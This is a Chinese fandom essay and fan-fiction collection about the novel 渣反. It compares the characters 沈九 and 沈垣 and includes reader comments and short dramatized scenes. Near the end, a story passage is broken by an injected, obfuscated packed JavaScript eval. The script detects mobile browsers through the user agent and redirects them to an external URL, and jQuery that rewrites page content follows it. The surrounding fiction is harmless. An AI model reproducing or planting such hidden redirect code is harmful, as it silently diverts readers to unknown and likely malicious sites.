反派BOSS重生流:前世收了个灭世弟子,这一世必定要抢夺主角机缘,剥离主角气运,让瞎了眼的天道知道谁才是真正该扶持的人。 ———— 幕后BOSS流:因对结局不满意,亲自布局重启世界,引异界灵魂和‘系统’入局,强行改变结局,在世界意识察觉到巨大异常之时,一举夺取世界核心,称王称霸。 ———— 幕后军师流:我死了,死的很憋屈。巧得是,天道居然也被困在了此世。两人携手重启世界,引来外界系统,通过指导和暗中规划,在系统‘完成任务’之时,借系统之力破碎虚空,击碎世界屏障。 ———— 反抗无效流:沈九多次反抗世界意志,拒绝为他人做配。世界意志出手抹杀灵魂,又化为人身,亲自下场指导异界灵魂走流程。 ———— 沈九从没走出过秋府;洛冰河从未走出清静峰。 他们都在画地为牢,与曾经自己的疯狂拉扯。 黑暗血时代>黑暗召唤师> 67.沈垣与沈九的一些简单分析 关于我心目中的【沈九】 最近几天写同人,发现自己长篇大论的分析太多了;跟朋友聊天,一个不小心愣是差点给他来个99+;努力想了半天,大概是因为——心中不平,难以抒发吧。 所以今天干脆将我对九的看法写出来,以后一旦分析太多就直接写分析贴,自己给自己的同人写【注解】和【分析】,主打一个自娱自乐自己开心。 ——已经很久不看原文了,所以这些【九】的印象是源于同人(当然更大一部分是我自己写的同人)—— 首先,九是一个标准的男频仙尊(丫的这个词被朋友吐槽n多次,说真正的男频仙尊哪里需要反复提及,分明我心里一边希望他是,一边又写不出来。真是令人扎心) 其次,他做过很多恶。这个太正常了,外国的恶魔来我国溜一圈都能被称为(良善),那个修真界背景里面没有几十几百几万的灭世?不杀够几十个城市、不在秘境里弄死几千人,他能被称之为【大能】? 总所周知,仙逆只有三个称呼【蝼蚁】、【道友】、【前辈】。而《诛仙》《仙逆》《黑暗血时代》《蛊真人》这一类的暗黑流,那个不是手染鲜血,踏着无数人的尸骨奠定自己的至尊位? 杀人?多正常啊。 灭门?多正常啊。 为了一腔热血奉上一切?多正常啊。 为了一句道义千里走单骑?多正常啊。 为了一个得不到的诺言死守一生?多正常啊。 这些爱恨情仇、恩怨情长,不正是我们从小向往的江湖吗? 江湖事就是如此:你负了我,我便执刀砍了你;你救了我,我将余生的道义送给你;你隐瞒了我,我便想方设法去追寻所谓的真相;你利用了我,我直接将仇恨扩大化,将你身边的一切都直接抹杀——诛十族! 这些英雄故事,风流韵事,正是十多年前盛行的武侠啊。 而仙侠,本就是超脱于武侠之中,多叠加一部分的——修仙,修真体系而已。 而沈九非常符合这样的特性。 他为了一句承诺困守着,最后义气被辜负,直到寿命的最后年头,才发现这是一场命运的谬误; 他为了少年的信念而热血着,在终于受不了的时候拔剑相向,一刀一刀的将愤恨砸过去,将属于懦弱的那部分丢入时间洪流,任他们为他劈上满身刺。而且最重要的是,即便他认为自己没有错,在面对与他有恩的【秋海棠】之时,他还是认为自己有愧,甘愿承受来自【秋海棠的报复】。 他愧对的不是【洛冰河】,是【被他连累的世家大小姐】、是被他【灭门而沦落成寄人篱下的姑娘】、是【造就了对方人生悲剧的救命恩人】。 而且他也符合世人对君子的幻想。 且不说外貌,单一个读书多,生活讲究,对谁都淡淡的,却又能在关键时刻挑起事,而且比所有人都聪慧不说,还从不叫苦,习惯了将一切都噎到自己肚子里。 这样的人物,怎么可能不打动人心? 九的生长痕迹一直都很明显,幼年聪慧,少年受挫,青年拜师后将心门紧锁,中年时面对少年的错误依旧如同赤子般直接认下——并且在洛冰河的质问与责打之中,咬牙抗下一切,坚决不服软。 他符合我对英雄的所有认知。 也符合我对残忍修真界里能养出来的性格认知。 一个从无到有、从零到满分的人,心计、能力、狠绝缺一不可。 而他又偏偏心底极软,道德水平和对自己的约束极高——这就导致他不是高高在上的‘神’,而是一个落于地面的‘人’。 道德感牢牢束缚着他,于是他从无欲无求的仙人,变成自缚于人间的囚徒。不追逐荣华富贵、不寻欢作乐,终日徘徊于苦痛之中,从未放过自己—— 过去犹如蚀骨之毒,明知该抛弃却又无法舍弃,背负着属于【沈九】的亡魂,永无止境的画地为牢。 他将自己隔绝于所有人之外,却又在最终的时刻里,被天道宠儿质问——为何你永远看不到旁人,不愿意接受来自旁人的真心? 就像是我最近一直在与朋友反复强调的:沈九从没有得到过的糖果,怎么给别人?他没有得到过也会直接推开的热情,怎么赠与其他人? 生活只教会他用冷漠面对一切;生活只告诉他举起刀剑可以应对一切;生活只告诉他这个世界弱肉强食,你要战胜一切才能获得一切。 这些他亲身学习的东西,与那个泡在蜜罐里养出来的【沈垣】,从根子上就是不一样的。 灵魂底色不可磨灭,就像是冰哥不可能如冰妹一样,九也不可能莫名其妙变成【冲岳七哭诉疼痛】【对洛冰河进行服软以求不要再责打】【对一直针锋相对的柳清歌说出别扭的关心】 这些东西是【沈清秋】想抛弃却忘不掉的【沈九】,是【沈九】成为【沈清秋】的来时路,是构成了【沈清秋】的重要组成部分。 他要怎么改呢?他应该怎么改呢?他需要怎么改呢? 所以他的坏明明白白; 可是他的坏又清清楚楚是环境造成。 这样的悲剧,就像是命运定下的走向,九会直接撕碎【救赎】剧本,毅然决然的踏上命运的归途,哪怕是一切悲剧重来,他也不可能改变。 当然——他会拼尽一切去想办法拯救其他人,而这一切,是通过流尽骨血和汗水,是通过战斗到最后一刻; 绝不可能,是因为妥协后的送上自己。 —————————————— —————————————— 如果你真的很喜欢沈清秋可以去看看霹雳布袋戏里面有个角色好像就是和沈清秋一样的,他很有可能比沈清秋更丰满,而且结局也没有沈清秋那么惨,反正你喜欢可以去试试看。她很有可能沈抄袭?融梗霹雳布袋戏里的角色才诞生的沈清秋。 我写文的时候,就是因为知道他不可能一碰面就救柳清歌,但我又需要柳清歌活着,所以我设置成了他为了不让失忆的自己陷入被动而去救[ 虽然这样,但依旧觉着有点怪[ 我之前写过一个,直接柳和九打了挺久(大概5k吧),然后九怒了:走火入魔都要砍劳资,劳资还能怕了你不成?!然后,,emmm,互打,最后柳死九重伤。需要柳活着的话,就直接两个重伤 我个人觉得救是不太会救。但应该会好奇——谁能在听到声响之时不好奇呢?所以过去了。结果过去了,柳直接看见九,一刀砍过来了。九:????你要跟我打架是吧?是吧?那就来战!!! ———————————— ———————————— 关于【沈垣】这个人物 【不知道该打什么标签,所以没打,如果有需要,请告诉我一下】 主九,所以应该会存在很大偏驳。只是写一下个人看法。 首先,关于【沈清秋】这个名字——呃,不想引战,所以就不说究竟该属于谁了。 其次,我个人来说哈,沈垣亲身经历了【渣反】的一切,最后留下的却是原主的名字,甚至在岳清源的心里,留下的也是<沈九>的名字——单这一点而言,其实沈垣确实是有点可悲的。 试想一下,当你拼尽全力带领所有人走向全员be,代价是——所有人都认为并记得你是其他人,而你却瑟瑟发抖的披着其他人的【人设】,即便是表现得再{风流倜傥、潇洒自如},怎么可能不怕呢。 而且最重要的是,亲自经历那一切的是你,经受痛苦和抉择的是,最后所有人记得的,却是——【沈清秋】。 所以很多帖子再吵架,说【沈清秋】属于【沈垣】,因为他切切实实的经历了【渣反】,并且努力带主线剧情,引领整体故事走向。 可是。 对于沈垣来说,他经历了那一切,最后留下的却是游戏人物名——emmmm,这和打游戏打到全服第一,所有人都不记得他的游戏id,却去记{安琪拉}有什么区别? 打游戏虽然说不是很在乎id,但是都打出那么大的动静和声响,所有人一眼看过去,却是游戏人物名?这——估计大家都会认为这是官方的人机,,吧? 其实最不能理解的,就是他对名字、性格的【不在乎】。 如果一个人不记得自己的来路,不能被其他人喊他真正的名字,不能真实展示自己的性格——甚至还隐隐约约的被【原主】的性格与过往同化。。。是件很可怕的事情。 是的。很多人会说,【沈清秋】就是他的名字,他将这个名字真正带上成就,爬上至高峰。 呃,那个,我是说啊,有没有一种可能,【沈清秋】是游戏角色,【沈九】【沈垣】才是真正的玩家? 所有的坏事都默认丢给【沈九】,所有的光鲜都赠与【沈清秋】,然后说真正温柔的【沈垣】是【沈清秋】。。。 emmmm。 这个逻辑,恕我真的很难以理解并认同啊。 ———— 其实我一直认为自己还算<理智>,只是沈垣本身的信息太少了。沈九的故事虽然也很少,但起码还有个{乞丐期、秋府、少年拜师},沈垣的故事——好像,只有一开始穿越? 只有这些零碎的故事,实在是——有些难以判断他的【原生家庭和原来性格】。 嗯,又该有人说是因为【沈清秋】就是【沈垣】,所以不需要写—— 对此,我只能笑笑吧。 如果【沈清秋】是个游戏人物,沈九打出全员死绝,沈垣打出全员be,那么沈垣确实比沈九合格。这一点,即便是我被骂,我也依旧这么想。 但是有一点啊,沈垣进入的时候,是拥有最大的先机(熟知剧情),最大的外挂(系统),最高的成就(清静峰之主),最容易改变的时刻(暗黑七点冰哥转换为晋江冰妹) 而且沈垣还战战兢兢的装了很久的【沈清秋】,才堪堪——保证自己在前期没被当成孤魂野鬼早早gave over。 这也是九粉最大的一点——沈垣一过来就是满级号,你打出更好的结局,难道不是应该的吗? 相比较于沈九从零爬到一百,沈垣开局就是王炸,叠加那么多外挂,最后【渣反】世界依旧灭亡了一次,他也没能真正取得仙魔两界的和平,最后还{春山恨}满天飞。。。 这个,大概也只能算是——惨胜? 相比较之下,沈九确实打出来满盘皆输,但沈九的【恶】是明明白白并且直到死都不带服软低头的。相当的——劳资就是这样,你可以杀死我,但不能打败我。如果你用男频的暴力欺压,劳资就咬牙硬抗;如果你用女频的感情作枷锁,劳资恨不得一口血砸你脸上。 所以我个人,是更欣赏男频向的傲骨,呃,也疯狂喜欢双恶双杀双狠毒双对立的冰九。一边骂着虐九虐九,一边又完全忍不住的疯狂找文说缺粮。。。 言归正传,无论沈垣本身什么样子的,他对于【自己名字的不在乎】,以及【不愿回去】,还有【被沈清秋同化】这几点,只让我感觉到一种可悲。 就像是,甜文中女主是宠物,虐文中女主是玩物一样的心悸。 狂傲与渣反,真正的主角一直是【洛冰河】; 沈九与沈垣,最后的作用一直是【激发主角动力,进而与主角生死纠缠】 所以啊。 他们从源头都是可怜的,哪有什么【好结局】一说? 只不过是心疼他们的人,忍不住心里的希冀,创造一些同人文,来弥补心中的怨恨和遗憾罢了。 ———————————————— ———————————————— 一边嫌弃沈九的身体,一边享受沈清秋这个身份带来的优越感,沈垣可是从始至终都是受用得狠呐[明知道后面的剧情也不想办法规避风险,凡是迎面遇上问题第一反应就是骂原主,真的是又当又立,如若是一个重生的沈九有着同样的系统配置,又会打出什么结局呢?垣粉尤其酷爱拿狂傲结局做结论同理可证渣反世界,可是飞机不是明确说过狂傲九是扁平恶人化的人设和渣反九不一样吗?渣反九没有狂傲九那般恶,狂傲九的“罪”也轮不到让渣反九命中注定未做先背,就算后半生生死不明也照样有人记得他的那些好,所以渣反九打不出好结局完全是谬论?沈垣不是救世主,在系统的降难度送道具给奖励的大放水下打出这个结局实在算不得圆满,所以,别吹了,真没什么好吹的,在结局里,他仍然是“失忆的沈九”,是仙魔沟壑的人间笑话范本 其实我蛮想看同等配置下九会怎么做。有文吗,想来一口咸淡[ 对。说的单独的灵魂,可被同化的灵魂,与被写好的人设有什么区别? 九是在一堆恶意中走出来青云路,沈垣却是在一堆好牌里选择闭上眼……当真和闭上眼、捂住耳朵的冰妹,是绝配啊 老坟头的微蓝sweet有一篇是带系统重生,完结了是all九大长篇,但是感觉不是我想要的那种[渣反的走向如果没有夺舍这个因素,不出意外该是冰九向,白露老师有一篇脑洞文,九在渣反结局后回到渣反收拾沈垣暴露身份后的烂摊子,那篇文里的九怼渣反的见解就是我想要的那种 我很讨厌垣粉说沈垣是把渣反世界当纸片人所以不积极干活什么的,呵,那他遇到事了怎么第一反应去骂九呢?垣有系统有剧本却不去改变,还指望系统或者男主给自己兜底,我为什么要同情垣啊?这不是自作自受自食恶果吗?沈九做过的选择他自己背因果,我佩服他,得过且过的反而还要求别人理解他[真是滑稽 对。沈垣最大的问题就是拥有一切还打成狗样。任谁都得骂一句‘废物’ 半路夺舍,都省了重生穿越的从0开始这一步啊[ 还这样磕磕绊绊,真是叠puff让人看完了不爽,一手好牌他是不记牌卡点让托管打,尤其这里还有个卷王的原主沈九,我当然更觉得沈九比沈垣有意思啊 谁不慕强呢?我看作者这样写就是顺应了屌丝变天仙,爽度有了,人写的摆烂,到后面了还非要给垣抬咖,强行来一出狗屁he,真看不出沈垣爱冰妹什么,只看到怕的要死只能顺从,冰妹要啥都给。他作为沈清秋时该做的事也要大夸特夸,人在其位谋其事,说的好像沈九当峰主时不负责任一样 沈九靠自己逆袭爬上峰主这个位子,可没有系统加持[这还不算厉害? 我按照这个写了个脑洞——果不其然的是打打打,哇哈哈哈哈,果然还是打打杀杀有趣 我无意又看到这个太太的另一个5章的合集,柳九的部分哭死我了[完全符合我对柳九的愿景。 我把这位大佬的那个我的人渣师傅看了感觉超棒的。啊,那个白切黑的人设真带劲。 ———————————————— ———————————————— 九与沈垣对骂,可惜九的战绩太惨烈了 沈九:无人救我 预警:如果沈九遇见沈垣,两人对骂。 九骂垣夺舍于人,连真实名字都不敢告诉其他人,顶着‘沈清秋’的脸与身份虚伪生活,却还要没事踩自己一脚。 垣骂九努力半辈子,却还是将人生搞的一团乱麻,若不是他介入,所有人都会死于非命。 九不屑一顾‘我的人生自己做主,我又没求你救世,还不是你强行将我夺舍。顶着别人的一切,用着别人的喜好与厌恶,不比我更憋屈?’ 垣杀人诛心‘可是你确实将一切搞砸,其他人也并没有谁愿意寻你回来,你就是个不配被爱的废物!’ 谎言不会伤人,真相才是利刃。 两人的话语都是那么尖锐、且直达本心。处处向对方的心口戳去。 可最终,沈垣就算受伤也有冰妹护着,沈九唯有自己——也只有自己。所以九最后的结局,要么强硬的打杀一切,要么沉郁的灵魂永寂。 九一直是美强惨的代表啊…… 九的一切周遭,都在向他表明‘你不配被爱’,而他周围的一切,都在伸着手,希望将他拉下深渊。 所有东西都是如此,缺爱的总会没有爱;而得到爱意的,却又有恃无恐、肆意挥霍。 ——正文—— 一个偶然的机会,沈垣发现了身体里的另一个灵魂。 若是他没有精神分裂的话,这个灵魂毫无意外的,是原主——沈清秋,沈九。 沈九。 那个〈狂傲仙魔途〉的原主,没事就喜欢打压洛冰河,折腾洛冰河,欺负责骂洛冰河,最后还一脚将人踹下无间深渊的,真正的恶劣师尊。 若说他嫉妒成性、小肚鸡肠,绝对不算亏了他。 可最让人不能理解的,是为什么他不杀死洛冰河之后,再将人抛尸荒野。所有的起点男主都知道,斩草不除根、春风吹又生,土生土长的沈九,不可能不知道这个道理,却为何——还是放过了对方? 但如果沈九对洛冰河有那么一丝半点的柔软存在,却为何在沦为阶下囚的时候,不多多少少提上几嘴,即便是不能换得出逃,起码少受些罪责,也是好的。 虽然这样有欺骗的可能性存在,但善意的谎言,终究是出于好意,其他人总能理解的。 就像是他明明是希望救人才去接近柳清歌,虽然好心办坏事,但一声不吭的任其他人恶意揣测、抗下所有责罚,未免实在有些……不善表达了吧? —— 沈九清醒的时候,突然发现对方好像在观察他。熟悉的面容上带着自己绝对不可能存在的温和笑意,眼眸满是好奇的打量,深处却只有平和。 这样的坦然与平淡,是沈九虽心心念念,却绝无可能存在的。 这段日子里虽然他很少得知外界的消息,但半梦半醒之间,还是多多少少知晓一二。 故而—— 他清楚的知道,正是这个‘外来夺舍者’,操控了他的身体,作出了诸多与他截然不同的选择,继而——令修真界与魔界,没有合并。 他该感谢对方吗?感谢他保全了自己想要保护的人,即便那些人不可能领情,但他还是会遵循本心的想要护着他们。 可是,对方又是真真切切的‘入侵者’,不仅将‘他’与弟子乱.伦的事情搞的满世界皆知,还将他的声名败坏的一塌糊涂。 尤其是—— 对方本可以随时制造新的躯体,将本就属于‘沈九’的东西,还给他的。 沈九是个恩怨分明的人。 同时也是个极为纠结、精神经常内耗的人。 他一方面感激对方保下一切,一方面又厌恶对方打破了自己的生活习惯,令他成为见不得人的存在。 当然—— 现在的他,大概除了身体里的另一个灵魂(沈垣),也没人能看见。 —— “我真的很好奇,你为什么非要打压洛冰河?既然最后失败了,又为什么不换种方式?” 沈垣终于问出了长久以来的疑惑,在他看来,若不是沈九自己疯狂作死,又在牢里依旧嘴硬恶劣,应该不至于沦落到那种地步。 “本尊做事与你何干?何处来的孤魂野鬼敢占据本尊躯体,倒还有脸询问本尊?” “……” 这样张嘴就骂的性子,怪不得甭管是冰哥还是冰妹,都要被他逼成暴怒狂…… 沈垣的生活一直很平和,无论是现代的混吃等死富二代,还是修真界果断选择抱冰妹大腿,除了在地里长着那几年有些无聊,其他整体都是舒坦的。 所以他不能理解沈九的满身是刺,更不明白他简简单单的一句问询怎么就惹了对方不快,需要让对方这样尖锐的言辞为刀。 而对于沈九来说,这个外来者与柳清歌一样讨厌,都是属于吃尽红利之后,对其他努力打拼之人嗤之以鼻,接着站着说话不腰疼的‘直言不讳’。 只是柳清歌的言论更多是出于无需耗费心神于其他,故而专心练剑,一心修炼的一视同仁蔑视:‘你们心思太乱,自然练不出东西;你们半路出家、根基薄弱,自然招式不稳。’ 而眼前之人,却是得了便宜还卖乖,明明行了强盗之举却还要装可怜:‘你为什么要争要抢呢,是旁人不会给你主动送到手里吗?你为什么不付出善意呢,是没有得到回报吗?’ 阴阳怪气,好一股碧螺春! 沈垣被冷刺后脸色肉眼可见的不满,言语之间带上冰渣: “既然你醒了,是不是该出去了。” 沈垣的态度极为随意且理所应当,他没有在发现对方的第一时间将人弄死,而是忍受对方一点点恢复,依旧尽了最大限度的帮助,难不成对方还要将他撵出去不成? 别忘了,在原主的‘努力’下,修真界可是让他差点翻了个底朝天!苍穹山也尽数灭亡,清静峰更是一片白地。 不过……若是对方愿意说几句好听话,沈垣也不介意让冰妹帮忙寻几株草药,帮助对方重新铸造个身体什么的。也算全了一份因果。 可惜,沈九从来都不是会妥协的性子,哪怕是沈垣好言相劝都不可能退让,更别说这种带刺的话语了。 沈九毫不犹豫的反唇相讥,抓住对方‘夺舍’的强盗行径咬住不放: “你这个强占别人躯体的恶灵才该滚出去!顶着本尊的脸和身躯,甚至连自己的名字都不敢让人知道,成天‘沈清秋’的喊着,就真当是自己的了?” “你——”沈垣的脸瞬间白了一瞬,关于这一点,他确实理亏。但那又如何呢,他当‘沈清秋’,远比沈九做的要好,也更受人欢迎! 故而沈垣深吸一口气,尽可能平静的述说事实: “你没事就打压洛冰河,在作死的路上一去不返,更甚至在没将对方杀死的情况下踢对方入深渊。” “最后修真界被灭,岳掌门被你一峰血书万箭穿心、忠心耿耿的大弟子明帆被丢下万毒窟尸骨无存、与你处处不对付的柳清歌死于你手;连宁嘤嘤,都在洛冰河的后宫郁郁寡欢。” “而你本人,不仅没有得到一剑封喉的死亡,甚至还被天魔血操控求生不得求死不能,最后成为人彘之后连生死都混淆,精神崩溃。” “自从我过来后,精心照料洛冰河的身心健康,使他成为修真界最得力的少年天才,更是在最后他欲合并仙魔两界时将其制止,现在修真界依旧稳定,掌门师兄、柳师兄、明帆等弟子都活的开心快乐。” “论‘沈清秋’,我比你称职。” 沈垣的态度明确,论据清楚,除了‘沈九先占用的躯体’,而他‘后来者居上’外,沈垣远比沈九做的好。 只是沈九的思维一贯转的很快,刺人心口的力度只增不减: “是吗?即便是本尊带修真界灭世又如何?真正行灭世之举的是洛冰河,从来不是‘沈清秋’!” “至于你这个不知从哪来的野鬼,披着本尊的壳子,用着本尊的名头和修为,享受本尊打下的资源,将喜好和言辞腔调修正为本尊的习惯,不知可还记得自己模样?” 沈垣说他将一切搞砸,而他替他解决所有烂摊子; 沈九便骂他连自己的名字和喜欢都不敢露出,装到最后也不知究竟是‘沈垣’成为了‘沈清秋’,还是‘沈清秋’同化了‘沈垣’。 只是…… 沈垣祭出最后杀手锏: “可那又如何呢。从来没有人敢在我的面前唧唧歪歪,也无人寻找曾经的‘沈清秋’,大家与我相处融洽,并不喜爱之前孤僻、离群索居的‘沈九’。” “……” 这一点,是沈九无论如何,也没办法辩解的。 他从没有得到过义无反顾、毫不保留的爱意。 即便是消失这么久,躯体被他人占用…… 可是却无一人追寻探查。 岳清源为他送了命,不假。 可岳掌门默认‘沈清秋’的改变,继续与他兄友弟恭,也从不曾说句‘你变化好大’。 明帆为他坚守清静峰到最后一刻,罔顾性命,不假。 可他的地位太低,情绪变化也太快了。他会怀疑‘师尊怎么突然喜欢洛冰河’,却不敢猜测‘师尊已换了人’,继而——也没有动静。 最后发现不对劲的,居然是一直以来毫不对付的柳清歌。 可那又如何呢? 柳清歌恩怨分明,所以当他认定‘沈九偷袭与他’后,果断与沈清秋拉开距离,再不接近;也同样的,认定‘沈清秋努力唤醒走火入魔的他’之后,为沈垣各种输送灵力、关心照料。 沈九消失那么久,从无人寻。 而年少沈九,也从未得到过偏爱与保护。 所以—— 沈九他,真的没被爱过,也不会爱人啊。 ———————————————— ———————————————— 沈九与沈垣互换世界 看了篇《锁清秋》,为里面关于沈九和沈垣互换世界的设定拍案叫绝。 简单分析一波。 ———— 如果沈九到渣反。 首先冰妹会起疑。沈垣与冰妹那叫一个黏人,沈九是完全受不了的。所以两人之间,要么打,要么打,要么打…… 其次岳七可能会发现不对劲,但是身为掌门,就像是沈垣过来时他没说什么,沈九过来,应该也不会说什么。很可能一句‘性情大变’就将此事定下。 柳清歌,这个有着野兽般直觉的人,应该会发现不对劲并试探。然后两人打起来,打起来,打起来…… 其他的话,尚清华十有八九会发现不对劲,毕竟穿越同仁,与土生土长本地人肯定不一样。 所以。 沈九穿越渣反,虽然有点问题,但整体应该还好……反正就是打,不行就打,没事就打… 只是这个结局吧……十有八九还是狂傲的结局。 ———— 如果沈垣穿到狂傲。 冰哥——额,那么沈垣是该初期还是末期……算了这个不考虑。众所周知,正常的男频龙傲天,要么对师尊极好(比如小炎子),要么就是完全无法被感化。 所以,这个难度有点大。 岳七——这时候大概死了吧?早期的话,得看沈垣能不能控制冰哥。能,岳掌门啥话不吭;不能,十有八九要试探。 柳清歌——这个死的太早了,不好说啊。 尚清华——原装的这个本来就是奸细,所以还是要看冰哥态度。 所以。 沈垣这边,其实主要取决于冰哥。 但是冰哥是个极不稳定的存在。就算是最早期,也难保没有黑化的可能…… 而且沈垣的战力其实是有点差的。至少他的实战能力不太好。 自保……结局什么的…… 反正就是看冰哥吧…… —— 综上所述,所以世界的结局,主要是看‘洛冰河’…… 啊。不愧是真正的男主…… —————————————————— —————————————————— 脑洞:当沈垣掉马、系统喊沈九善后 沈九不想活,这件事谁都知道。所以当系统跟他说给他一次重来机会时,沈九只是用那双冰冷而死气沉沉的眼睛盯着他,一言不发。 沈九想改变吗? 肯定啊。 谁不想合家团圆,亲人在侧? 但你让他改变,他又能怎么改呢? 学着沈垣一样对洛冰河‘温柔以待’?还是容忍岳七对所有人一视同仁?抑或是忍受柳清歌高高在上的‘指点’,承认他就是因为自己不舒坦所以要让所有人不舒服? 给沈垣一个幸福美满的童年,再给他一个被打成满级的账号,接着又赠送给他可以预知开简单模式的系统,以及会自己洗脑自己的冰妹。 给沈九呢? 破碎的童年,惨遭遗忘的少年,损毁的根骨,被人厌恶不齿的过往, 以及——跟他同为乞丐出身,却始终温厚、处处照顾他的对照组。 这差距未免太大,这对比未免太强烈,这心,未免偏得过于离谱吧? 而且。 沈九做不出来分桃断袖、与同性同床共枕的事情,也不相信这样的世界真的能将所有天命寄托于一人之身。他输了,所以愿赌服输,一败涂地,还不够? 非要亲眼看着那些人认沈垣而不认他;非要欣赏着别人拿着他辛辛苦苦打出来的满级号,凭借一脸的傻白甜获得一切?非要他也坐在一旁,忍下恨不得弄死所有人的苦闷憋屈,说一句‘你们真般配?’ 他有病吗? 还是犯贱? 输了就是输了,败了就是败了。 给他一次机会,他不会为难洛冰河。 别想太多,他只是不会将人收下,等他找到机缘后,一剑杀穿而已。 明明是天道一直压迫着他,给他那样的童年和那样的经历,又死命的捆死他的上限,不允许他更进一步。 可笑那些人,就真以为沈九什么也不行,没能力再进一步? 说他不如小白莲。 说他心计深厚,面甜心苦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15426133|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事,你们说的都是对的。 只是——最好不要让沈九找到机会。 要不然,他会让所有人知道——弱肉强食的丛林法则里,漂亮,是最没用的东西。 而实力,才是让所有人闭嘴的真正良药。 ———— 系统:“我不管你究竟想干什么,现在渣反世界快崩了,沈垣恢复了原本的相貌,你若不想世界毁灭,就干活。” 沈九:“世界毁灭与我何干?你想用这件事压迫我,不就是知道我与那些人一同生长,君子欺之以方?” “一方面说我恶劣狠毒,一方面却又用那些人的存活逼我就范。沈某究竟是何种人,你们又为何能威胁到我,这些下意识拿来用的把柄,当真令人作呕。” “你就说你想要什么?”系统放弃了那些虚机尾蛇,对于沈九这样的人只有切实的利益才能打动人心。 “你且说你能给什么?”沈九也不客气,话都说到这种份了,他再端着也没有意思,还不如直接将底牌拉出来:“你如果能给出我想要的东西,或者让我心动的东西,这一趟倒也不是不能走。” “……”丫的。系统磨磨牙,转身给主系统打报告:“你不要欺统太甚。” “既然想让人干活,就先给出报酬。话都谈拢了之后,我们再说别的。”沈九完全不介意系统怎么看他,只是将地面收拾干净,盘腿坐下。 既然想让他回去收拾烂摊子,就该给出能让他抵抗天道压迫的东西。反正他是已经死过的人了,他死都不怕,他还怕什么?大不了就是灵魂破碎,又不是没经历过。无论洛冰河变成什么样子,最后呈现的,都不可能是小白花。 “主系统答应给你突破化神的机缘。” “我现在就要。” “你事都没干,怎么可能给你?” “那算了,反正我也死过了,无所谓了。” “……”系统再次磨牙,不理解原本傲骨铮铮的人,怎么突然如此无赖。 沈九说的不错,无论一个人表面上他怎么样,但他下意识的动作永远是最关乎本质的。而这个人无论被世间如何谩骂,无论被所有人如何误解,当其他人下意识用别的东西去威胁他的时候,那个所下意识的不正是这个人的软肋吗? 为什么能用他的亲朋好友威胁到他? 因为人们下意识就知道,他这个人并没有他表现中那么无情。 为什么能用他的徒弟威胁到他,甚至说让他缴械投降? 因为人们下意识就知道这件事情能威胁到他。 为什么一个曾经给他过恩情间接导致他痛苦根源的姑娘出现,就能将不可一世的人拉下马? 因为他还有良心和底线啊。 说他坏,可是所有人在骂他坏的时候,却又下意识的用他这个坏去拿捏他。 说他善,将他高高举起,却又在私下里谩骂着他那些风流意事。 世间传言这种东西从来都是不可信的,而这些所谓的言论也无非是其他人用来拿捏别人的手段。 沈九究竟是一个怎样的人,想要将他拉下马的人,最是清楚。 而那些起哄的傻子、推波助澜的不明真相者、讨论世间传闻的八卦者、默不作声的理中客、与罪魁祸首们,没有一个干净的。 他是死于一人之手吗?他是死于一人之口吗? 没有给他翻身机会的,是牢牢压制他的天道。 真正将痛苦施加于他身上的,是以强大武力压迫他的洛冰河。 而那些细小的沙子们,裹着泥沙俱下的河流们,没有一个清清白白。 百口莫辩,百鬼夜行。 人心中的那个固有印象,才是真正灭杀精神的不可望见之物。 “主系统答应了。” “那本尊就陪你们走一趟。” ———— 沈九睁开眼,面前坐着的是与自己同一张脸的沈垣和‘造物主’尚清华。 沈九:“哟稀罕真稀罕,我竟不知道我的脸还能做出如此温柔如水的表情。” 将沈垣四处打量一番,笑:“开局即巅峰,一手好牌能被你打成这副狗样,沈某当真是,自愧不如。” 沈垣:“……” 尚清华(努力端架子):“沈……峰主,请你过来是……”忍不住擦了擦汗,避开沈九的视线:“干活的。不是听你阴阳怪气的……” 沈九:“尚.清.华。” 面无表情:“如果本尊记得没错的话,好像在弟子时期本尊就警告过你,莫要在与魔族联系。为此,本尊还被魔族纠缠了三年……是不是啊?我亲爱的,造.物.主.大人?” 尚清华:“……”躲闪。 沈九:“天道化身、造物主大人亲自下凡,怎么却只给自己安排个这样的身份?” “系统精心挑选的灵魂,怎么在拿到一手好牌之后还能打出这样的水平?” “天外来客与天道化身共同出手,居然还压制不了一个天道宠儿。而在一切搞砸之后,居然想着将沈某这个破碎的失败者喊过来善后……” “沈某可真是……” 笑(一字一顿):“受.宠.若.惊 啊。” 沈垣(努力展现自己的成果):“沈九!你自己打出来的是个全盘皆输,我接手之后,好歹大家都存活!你!” 沈九:“嗯?”眯眼:“你要不这么说的话,沈某还真忘了。”转向尚清华: “沈某能有那样的下场,皆拜造物主所赐。既然你最钟爱的天道之子都知道百倍奉还,那不知……造物主大人,可有心理准备?” 沈垣:“你究竟想怎样?!” 尚清华:“对,沈九,你既然都答应了来帮忙,又在这边说什么?” 沈九:“沈某是答应干活,但沈某的任务是阻止世界毁灭。与沈某现在做些什么,似乎并无联系?” “还是说,你们觉得给出报酬之后就能用这些拿捏沈某?” 沈垣:“原……沈……九,你别忘了世界毁灭之后所有人都会死,苍穹山那些人待你不薄!” 沈九:“是啊,沈某都忘了,沈峰主打出来的可是‘阖家欢乐’‘全员存活’‘其乐融融’呢~” 沈垣:“……你……知道就好。” 沈九:“那请问,沈峰主究竟是如何获得了他们的好感呢?” “是对岳清源乖乖喊‘七哥’?接受他的嘟嘟囔囔,明明一份感情拆了那么多份,却还要求少年陪伴者回馈?” “还是不拒绝木清芳的看病吃药?规规矩矩的当个病人,听从大夫的安慰与嘱咐?” “亦或是讲清楚当年的来龙去脉,想方设法让柳清歌相信于你,接着随便施个恩,将他当做你手里的刀?” “这些问题沈某实在太好奇了,不知沈峰主是怎么做的呢?” “嗯?” 沈垣:“……” 沈九:“哦,对了,沈某还好奇一件事。不知‘沈峰主’面容有异后,其他人作何感想?” “是想方设法的让你恢复容颜呢,还是告诉你这样也很不错?” 